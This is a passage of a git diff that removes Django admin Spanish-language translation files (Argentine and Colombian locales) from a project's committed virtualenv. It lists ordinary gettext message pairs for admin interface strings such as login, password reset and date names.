objetos e ítems relacionados a los mismos también serán " -"eliminados:" - -msgid "Delete?" -msgstr "¿Eliminar?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " Por %(filter_title)s " - -msgid "Summary" -msgstr "Resumen" - -msgid "Recent actions" -msgstr "Acciones recientes" - -msgid "My actions" -msgstr "Mis acciones" - -msgid "None available" -msgstr "Ninguna disponible" - -msgid "Added:" -msgstr "Agregado:" - -msgid "Changed:" -msgstr "Cambiado:" - -msgid "Deleted:" -msgstr "Eliminado:" - -msgid "Unknown content" -msgstr "Contenido desconocido" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Hay algún problema con su instalación de base de datos. Asegúrese de que las " -"tablas de la misma hayan sido creadas, y asegúrese de que el usuario " -"apropiado tenga permisos de lectura en la base de datos." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Ud. se halla autenticado como %(username)s, pero no está autorizado a " -"acceder a esta página ¿Desea autenticarse con una cuenta diferente?" - -msgid "Forgotten your login credentials?" -msgstr "¿Olvidó sus credenciales de ingreso?" - -msgid "Toggle navigation" -msgstr "Alternar navegación" - -msgid "Sidebar" -msgstr "Barra lateral" - -msgid "Start typing to filter…" -msgstr "Empiece a escribir para filtrar…" - -msgid "Filter navigation items" -msgstr "Filtrar elementos de navegación" - -msgid "Date/time" -msgstr "Fecha/hora" - -msgid "User" -msgstr "Usuario" - -msgid "Action" -msgstr "Acción" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "entrada" -msgstr[1] "entradas" -msgstr[2] "entradas" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Este objeto no tiene historia de modificaciones. Probablemente no fue " -"añadido usando este sitio de administración." - -msgid "Show all" -msgstr "Mostrar todos" - -msgid "Save" -msgstr "Guardar" - -msgid "Popup closing…" -msgstr "Cerrando ventana emergente…" - -msgid "Search" -msgstr "Buscar" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s resultado" -msgstr[1] "%(counter)s resultados" -msgstr[2] "%(counter)s resultados" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "total: %(full_result_count)s" - -msgid "Save as new" -msgstr "Guardar como nuevo" - -msgid "Save and add another" -msgstr "Guardar y agregar otro" - -msgid "Save and continue editing" -msgstr "Guardar y continuar editando" - -msgid "Save and view" -msgstr "Guardar y ver" - -msgid "Close" -msgstr "Cerrar" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Modificar %(model)s seleccionados/as" - -#, python-format -msgid "Add another %(model)s" -msgstr "Agregar otro/a %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Eliminar %(model)s seleccionados/as" - -#, python-format -msgid "View selected %(model)s" -msgstr "Ver %(model)s seleccionado/a" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Gracias por el tiempo que ha dedicado al sitio web hoy." - -msgid "Log in again" -msgstr "Identificarse de nuevo" - -msgid "Password change" -msgstr "Cambio de contraseña" - -msgid "Your password was changed." -msgstr "Su contraseña ha sido cambiada." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Por favor, por razones de seguridad, introduzca primero su contraseña " -"antigua y luego introduzca la nueva contraseña dos veces para verificar que " -"la ha escrito correctamente." - -msgid "Change my password" -msgstr "Cambiar mi contraseña" - -msgid "Password reset" -msgstr "Recuperar contraseña" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Su contraseña ha sido cambiada. Ahora puede continuar e ingresar." - -msgid "Password reset confirmation" -msgstr "Confirmación de reincialización de contraseña" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Por favor introduzca su nueva contraseña dos veces de manera que podamos " -"verificar que la ha escrito correctamente." - -msgid "New password:" -msgstr "Contraseña nueva:" - -msgid "Confirm password:" -msgstr "Confirme contraseña:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"El enlace de reinicialización de contraseña es inválido, posiblemente debido " -"a que ya ha sido usado. Por favor solicite una nueva reinicialización de " -"contraseña." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Se le han enviado instrucciones sobre cómo establecer su contraseña. Si la " -"dirección de email que proveyó existe, debería recibir las mismas pronto." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Si no ha recibido un email, por favor asegúrese de que ha introducido la " -"dirección de correo con la que se había registrado y verifique su carpeta de " -"Correo no deseado." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Le enviamos este email porque Ud. ha solicitado que se reestablezca la " -"contraseña para su cuenta de usuario en %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "" -"Por favor visite la página que se muestra a continuación y elija una nueva " -"contraseña:" - -msgid "In case you’ve forgotten, you are:" -msgstr "En el caso de que lo haya olvidado Ud. es:" - -msgid "Thanks for using our site!" -msgstr "¡Gracias por usar nuestro sitio!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "El equipo de %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"¿Olvidó su contraseña? Introduzca su dirección de email abajo y le " -"enviaremos instrucciones para establecer una nueva." - -msgid "Email address:" -msgstr "Dirección de email:" - -msgid "Reset my password" -msgstr "Recuperar mi contraseña" - -msgid "Select all objects on this page for an action" -msgstr "Seleccione todos los objetos de esta página para una acción" - -msgid "All dates" -msgstr "Todas las fechas" - -#, python-format -msgid "Select %s" -msgstr "Seleccione %s" - -#, python-format -msgid "Select %s to change" -msgstr "Seleccione %s a modificar" - -#, python-format -msgid "Select %s to view" -msgstr "Seleccione %s que desea ver" - -msgid "Date:" -msgstr "Fecha:" - -msgid "Time:" -msgstr "Hora:" - -msgid "Lookup" -msgstr "Buscar" - -msgid "Currently:" -msgstr "Actualmente:" - -msgid "Change:" -msgstr "Cambiar:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_AR/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_AR/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 904d630a..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_AR/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_AR/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_AR/LC_MESSAGES/djangojs.po deleted file mode 100644 index 5c55be48..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_AR/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,329 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -# Ramiro Morales, 2014-2016,2020-2023,2025 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-25 15:04-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Ramiro Morales, 2014-2016,2020-2023,2025\n" -"Language-Team: Spanish (Argentina) (http://app.transifex.com/django/django/" -"language/es_AR/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: es_AR\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "%s disponibles" - -#, javascript-format -msgid "" -"Choose %s by selecting them and then select the \"Choose\" arrow button." -msgstr "Elija %s seleccionándolos/as y luego use el botón flecha \"Elegir\"." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Escriba en esta caja para filtrar la lista de %s disponibles." - -msgid "Filter" -msgstr "Filtro" - -#, javascript-format -msgid "Choose all %s" -msgstr "Elegir todo/as los/as %s" - -#, javascript-format -msgid "Choose selected %s" -msgstr "Elegir %s seleccionados/as" - -#, javascript-format -msgid "Remove selected %s" -msgstr "Eliminar %s seleccionados/as" - -#, javascript-format -msgid "Chosen %s" -msgstr "%s seleccionados/as" - -#, javascript-format -msgid "" -"Remove %s by selecting them and then select the \"Remove\" arrow button." -msgstr "" -"Eliminar %s seleccionándolos/as y luego use el botón flecha \"Eliminar\"." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "Escriba en este cuadro para filtrar la lista de %s seleccionados/as." - -msgid "(click to clear)" -msgstr "(click para limpiar)" - -#, javascript-format -msgid "Remove all %s" -msgstr "Eliminar todo/as los/as %s" - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s opción seleccionada no visible" -msgstr[1] "%s opciones seleccionadas no visibles" -msgstr[2] "%s opciones seleccionadas no visibles" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s de %(cnt)s seleccionado/a" -msgstr[1] "%(sel)s de %(cnt)s seleccionados/as" -msgstr[2] "%(sel)s de %(cnt)s seleccionados/as" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Tiene modificaciones sin guardar en campos modificables individuales. Si " -"ejecuta una acción las mismas se perderán." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Ha seleccionado una acción pero todavía no ha grabado sus cambios en campos " -"individuales. Por favor haga click en Ok para grabarlos. Luego necesitará re-" -"ejecutar la acción." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Ha seleccionado una acción y no ha realizado ninguna modificación de campos " -"individuales. Es probable que deba usar el botón 'Ir' y no el botón " -"'Grabar'." - -msgid "Now" -msgstr "Ahora" - -msgid "Midnight" -msgstr "Medianoche" - -msgid "6 a.m." -msgstr "6 AM" - -msgid "Noon" -msgstr "Mediodía" - -msgid "6 p.m." -msgstr "6 PM" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -"Nota: Ud. se encuentra en una zona horaria que está %s hora adelantada " -"respecto a la del servidor." -msgstr[1] "" -"Nota: Ud. se encuentra en una zona horaria que está %s horas adelantada " -"respecto a la del servidor." -msgstr[2] "" -"Nota: Ud. se encuentra en una zona horaria que está %s horas adelantada " -"respecto a la del servidor." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -"Nota: Ud. se encuentra en una zona horaria que está %s hora atrasada " -"respecto a la del servidor." -msgstr[1] "" -"Nota: Ud. se encuentra en una zona horaria que está %s horas atrasada " -"respecto a la del servidor." -msgstr[2] "" -"Nota: Ud. se encuentra en una zona horaria que está %s horas atrasada " -"respecto a la del servidor." - -msgid "Choose a Time" -msgstr "Seleccione una Hora" - -msgid "Choose a time" -msgstr "Elija una hora" - -msgid "Cancel" -msgstr "Cancelar" - -msgid "Today" -msgstr "Hoy" - -msgid "Choose a Date" -msgstr "Seleccione una Fecha" - -msgid "Yesterday" -msgstr "Ayer" - -msgid "Tomorrow" -msgstr "Mañana" - -msgid "January" -msgstr "enero" - -msgid "February" -msgstr "febrero" - -msgid "March" -msgstr "marzo" - -msgid "April" -msgstr "abril" - -msgid "May" -msgstr "mayo" - -msgid "June" -msgstr "junio" - -msgid "July" -msgstr "julio" - -msgid "August" -msgstr "agosto" - -msgid "September" -msgstr "setiembre" - -msgid "October" -msgstr "octubre" - -msgid "November" -msgstr "noviembre" - -msgid "December" -msgstr "diciembre" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Ene" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Feb" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Mar" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Abr" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "May" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Jun" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Jul" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Ago" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Set" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Oct" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Nov" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Dic" - -msgid "Sunday" -msgstr "domingo" - -msgid "Monday" -msgstr "lunes" - -msgid "Tuesday" -msgstr "martes" - -msgid "Wednesday" -msgstr "miércoles" - -msgid "Thursday" -msgstr "jueves" - -msgid "Friday" -msgstr "viernes" - -msgid "Saturday" -msgstr "sábado" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "dom" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "lun" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "mar" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "mié" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "jue" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "vie" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "sáb" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "D" - -msgctxt "one letter Monday" -msgid "M" -msgstr "L" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "M" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "M" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "J" - -msgctxt "one letter Friday" -msgid "F" -msgstr "V" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "S" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_CO/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_CO/LC_MESSAGES/django.mo deleted file mode 100644 index f8060743..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_CO/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_CO/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_CO/LC_MESSAGES/django.po deleted file mode 100644 index 5831fbfa..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_CO/LC_MESSAGES/django.po +++ /dev/null @@ -1,697 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# abraham.martin , 2014 -# Axel Díaz , 2015 -# Claude Paroz , 2014 -# Ernesto Avilés Vázquez , 2015 -# franchukelly , 2011 -# guillem , 2012 -# Igor Támara , 2013 -# Jannis Leidel , 2011 -# Josue Naaman Nistal Guerra , 2014 -# Marc Garcia , 2011 -# Pablo, 2015 -# Veronicabh , 2015 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2017-01-19 16:49+0100\n" -"PO-Revision-Date: 2017-09-19 19:11+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Spanish (Colombia) (http://www.transifex.com/django/django/" -"language/es_CO/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: es_CO\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Eliminado/s %(count)d %(items)s satisfactoriamente." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "No se puede eliminar %(name)s" - -msgid "Are you sure?" -msgstr "¿Está seguro?" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Eliminar %(verbose_name_plural)s seleccionado/s" - -msgid "Administration" -msgstr "Administración" - -msgid "All" -msgstr "Todo" - -msgid "Yes" -msgstr "Sí" - -msgid "No" -msgstr "No" - -msgid "Unknown" -msgstr "Desconocido" - -msgid "Any date" -msgstr "Cualquier fecha" - -msgid "Today" -msgstr "Hoy" - -msgid "Past 7 days" -msgstr "Últimos 7 días" - -msgid "This month" -msgstr "Este mes" - -msgid "This year" -msgstr "Este año" - -msgid "No date" -msgstr "" - -msgid "Has date" -msgstr "" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Por favor ingrese el %(username)s y la clave correctos para obtener cuenta " -"de personal. Observe que ambos campos pueden ser sensibles a mayúsculas." - -msgid "Action:" -msgstr "Acción:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Agregar %(verbose_name)s adicional." - -msgid "Remove" -msgstr "Eliminar" - -msgid "action time" -msgstr "hora de la acción" - -msgid "user" -msgstr "usuario" - -msgid "content type" -msgstr "tipo de contenido" - -msgid "object id" -msgstr "id del objeto" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/3/library/functions.html#repr) -msgid "object repr" -msgstr "repr del objeto" - -msgid "action flag" -msgstr "marca de acción" - -msgid "change message" -msgstr "mensaje de cambio" - -msgid "log entry" -msgstr "entrada de registro" - -msgid "log entries" -msgstr "entradas de registro" - -#, python-format -msgid "Added \"%(object)s\"." -msgstr "Añadidos \"%(object)s\"." - -#, python-format -msgid "Changed \"%(object)s\" - %(changes)s" -msgstr "Cambiados \"%(object)s\" - %(changes)s" - -#, python-format -msgid "Deleted \"%(object)s.\"" -msgstr "Eliminado/a \"%(object)s.\"" - -msgid "LogEntry Object" -msgstr "Objeto de registro de Log" - -#, python-brace-format -msgid "Added {name} \"{object}\"." -msgstr "" - -msgid "Added." -msgstr "Añadido." - -msgid "and" -msgstr "y" - -#, python-brace-format -msgid "Changed {fields} for {name} \"{object}\"." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} \"{object}\"." -msgstr "" - -msgid "No fields changed." -msgstr "No ha cambiado ningún campo." - -msgid "None" -msgstr "Ninguno" - -msgid "" -"Hold down \"Control\", or \"Command\" on a Mac, to select more than one." -msgstr "" -"Mantenga presionado \"Control\" o \"Command\" en un Mac, para seleccionar " -"más de una opción." - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was added successfully." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Se deben seleccionar elementos para poder realizar acciones sobre estos. No " -"se han modificado elementos." - -msgid "No action selected." -msgstr "No se seleccionó ninguna acción." - -#, python-format -msgid "The %(name)s \"%(obj)s\" was deleted successfully." -msgstr "Se eliminó con éxito el %(name)s \"%(obj)s\"." - -#, python-format -msgid "%(name)s with ID \"%(key)s\" doesn't exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "Añadir %s" - -#, python-format -msgid "Change %s" -msgstr "Modificar %s" - -msgid "Database error" -msgstr "Error en la base de datos" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s fué modificado con éxito." -msgstr[1] "%(count)s %(name)s fueron modificados con éxito." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s seleccionado" -msgstr[1] "%(total_count)s seleccionados en total" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "seleccionados 0 de %(cnt)s" - -#, python-format -msgid "Change history: %s" -msgstr "Histórico de modificaciones: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"La eliminación de %(class_name)s %(instance)s requeriría eliminar los " -"siguientes objetos relacionados protegidos: %(related_objects)s" - -msgid "Django site admin" -msgstr "Sitio de administración de Django" - -msgid "Django administration" -msgstr "Administración de Django" - -msgid "Site administration" -msgstr "Sitio administrativo" - -msgid "Log in" -msgstr "Iniciar sesión" - -#, python-format -msgid "%(app)s administration" -msgstr "Administración de %(app)s " - -msgid "Page not found" -msgstr "Página no encontrada" - -msgid "We're sorry, but the requested page could not be found." -msgstr "Lo sentimos, pero no se encuentra la página solicitada." - -msgid "Home" -msgstr "Inicio" - -msgid "Server error" -msgstr "Error del servidor" - -msgid "Server error (500)" -msgstr "Error del servidor (500)" - -msgid "Server Error (500)" -msgstr "Error de servidor (500)" - -msgid "" -"There's been an error. It's been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Ha habido un error. Ha sido comunicado al administrador del sitio por correo " -"electrónico y debería solucionarse a la mayor brevedad. Gracias por su " -"paciencia y comprensión." - -msgid "Run the selected action" -msgstr "Ejecutar la acción seleccionada" - -msgid "Go" -msgstr "Ir" - -msgid "Click here to select the objects across all pages" -msgstr "Pulse aquí para seleccionar los objetos a través de todas las páginas" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Seleccionar todos los %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Limpiar selección" - -msgid "" -"First, enter a username and password. Then, you'll be able to edit more user " -"options." -msgstr "" -"Primero introduzca un nombre de usuario y una contraseña. Luego podrá editar " -"el resto de opciones del usuario." - -msgid "Enter a username and password." -msgstr "Ingrese un nombre de usuario y contraseña" - -msgid "Change password" -msgstr "Cambiar contraseña" - -msgid "Please correct the error below." -msgstr "Por favor, corrija los siguientes errores." - -msgid "Please correct the errors below." -msgstr "Por favor, corrija los siguientes errores." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" -"Ingrese una nueva contraseña para el usuario %(username)s." - -msgid "Welcome," -msgstr "Bienvenido/a," - -msgid "View site" -msgstr "Ver el sitio" - -msgid "Documentation" -msgstr "Documentación" - -msgid "Log out" -msgstr "Terminar sesión" - -#, python-format -msgid "Add %(name)s" -msgstr "Añadir %(name)s" - -msgid "History" -msgstr "Histórico" - -msgid "View on site" -msgstr "Ver en el sitio" - -msgid "Filter" -msgstr "Filtro" - -msgid "Remove from sorting" -msgstr "Elimina de la ordenación" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Prioridad de la ordenación: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Activar la ordenación" - -msgid "Delete" -msgstr "Eliminar" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Eliminar el %(object_name)s '%(escaped_object)s' provocaría la eliminación " -"de objetos relacionados, pero su cuenta no tiene permiso para borrar los " -"siguientes tipos de objetos:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"La eliminación de %(object_name)s %(escaped_object)s requeriría eliminar los " -"siguientes objetos relacionados protegidos:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"¿Está seguro de que quiere borrar los %(object_name)s \"%(escaped_object)s" -"\"? Se borrarán los siguientes objetos relacionados:" - -msgid "Objects" -msgstr "Objetos" - -msgid "Yes, I'm sure" -msgstr "Sí, estoy seguro" - -msgid "No, take me back" -msgstr "No, llévame atrás" - -msgid "Delete multiple objects" -msgstr "Eliminar múltiples objetos." - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"La eliminación del %(objects_name)s seleccionado resultaría en el borrado de " -"objetos relacionados, pero su cuenta no tiene permisos para borrar los " -"siguientes tipos de objetos:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"La eliminación de %(objects_name)s seleccionado requeriría el borrado de los " -"siguientes objetos protegidos relacionados:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"¿Está usted seguro que quiere eliminar el %(objects_name)s seleccionado? " -"Todos los siguientes objetos y sus elementos relacionados serán borrados:" - -msgid "Change" -msgstr "Modificar" - -msgid "Delete?" -msgstr "¿Eliminar?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " Por %(filter_title)s " - -msgid "Summary" -msgstr "Resumen" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modelos en la aplicación %(name)s" - -msgid "Add" -msgstr "Añadir" - -msgid "You don't have permission to edit anything." -msgstr "No tiene permiso para editar nada." - -msgid "Recent actions" -msgstr "" - -msgid "My actions" -msgstr "" - -msgid "None available" -msgstr "Ninguno disponible" - -msgid "Unknown content" -msgstr "Contenido desconocido" - -msgid "" -"Something's wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Algo va mal con la instalación de la base de datos. Asegúrese de que las " -"tablas necesarias han sido creadas, y de que la base de datos puede ser " -"leída por el usuario apropiado." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Se ha autenticado como %(username)s, pero no está autorizado a acceder a " -"esta página. ¿Desea autenticarse con una cuenta diferente?" - -msgid "Forgotten your password or username?" -msgstr "¿Ha olvidado la contraseña o el nombre de usuario?" - -msgid "Date/time" -msgstr "Fecha/hora" - -msgid "User" -msgstr "Usuario" - -msgid "Action" -msgstr "Acción" - -msgid "" -"This object doesn't have a change history. It probably wasn't added via this " -"admin site." -msgstr "" -"Este objeto no tiene histórico de cambios. Probablemente no fue añadido " -"usando este sitio de administración." - -msgid "Show all" -msgstr "Mostrar todo" - -msgid "Save" -msgstr "Grabar" - -msgid "Popup closing..." -msgstr "" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Cambiar %(model)s seleccionado" - -#, python-format -msgid "Add another %(model)s" -msgstr "Añadir otro %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Eliminar %(model)s seleccionada/o" - -msgid "Search" -msgstr "Buscar" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s resultado" -msgstr[1] "%(counter)s resultados" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s total" - -msgid "Save as new" -msgstr "Grabar como nuevo" - -msgid "Save and add another" -msgstr "Grabar y añadir otro" - -msgid "Save and continue editing" -msgstr "Grabar y continuar editando" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "Gracias por el tiempo que ha dedicado hoy al sitio web." - -msgid "Log in again" -msgstr "Iniciar sesión de nuevo" - -msgid "Password change" -msgstr "Cambio de contraseña" - -msgid "Your password was changed." -msgstr "Su contraseña ha sido cambiada." - -msgid "" -"Please enter your old password, for security's sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Por favor, ingrese su contraseña antigua, por seguridad, y después " -"introduzca la nueva contraseña dos veces para verificar que la ha escrito " -"correctamente." - -msgid "Change my password" -msgstr "Cambiar mi contraseña" - -msgid "Password reset" -msgstr "Restablecer contraseña" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "" -"Su contraseña ha sido establecida. Ahora puede seguir adelante e iniciar " -"sesión." - -msgid "Password reset confirmation" -msgstr "Confirmación de restablecimiento de contraseña" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Por favor, ingrese su contraseña nueva dos veces para verificar que la ha " -"escrito correctamente." - -msgid "New password:" -msgstr "Contraseña nueva:" - -msgid "Confirm password:" -msgstr "Confirme contraseña:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"El enlace de restablecimiento de contraseña era inválido, seguramente porque " -"se haya usado antes. Por favor, solicite un nuevo restablecimiento de " -"contraseña." - -msgid "" -"We've emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Le hemos enviado por email las instrucciones para restablecer la contraseña, " -"si es que existe una cuenta con la dirección electrónica que indicó. Debería " -"recibirlas en breve." - -msgid "" -"If you don't receive an email, please make sure you've entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Si no recibe un correo, por favor asegúrese de que ha introducido la " -"dirección de correo con la que se registró y verifique su carpeta de spam." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Ha recibido este correo electrónico porque ha solicitado restablecer la " -"contraseña para su cuenta en %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Por favor, vaya a la página siguiente y escoja una nueva contraseña." - -msgid "Your username, in case you've forgotten:" -msgstr "Su nombre de usuario, en caso de haberlo olvidado:" - -msgid "Thanks for using our site!" -msgstr "¡Gracias por usar nuestro sitio!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "El equipo de %(site_name)s" - -msgid "" 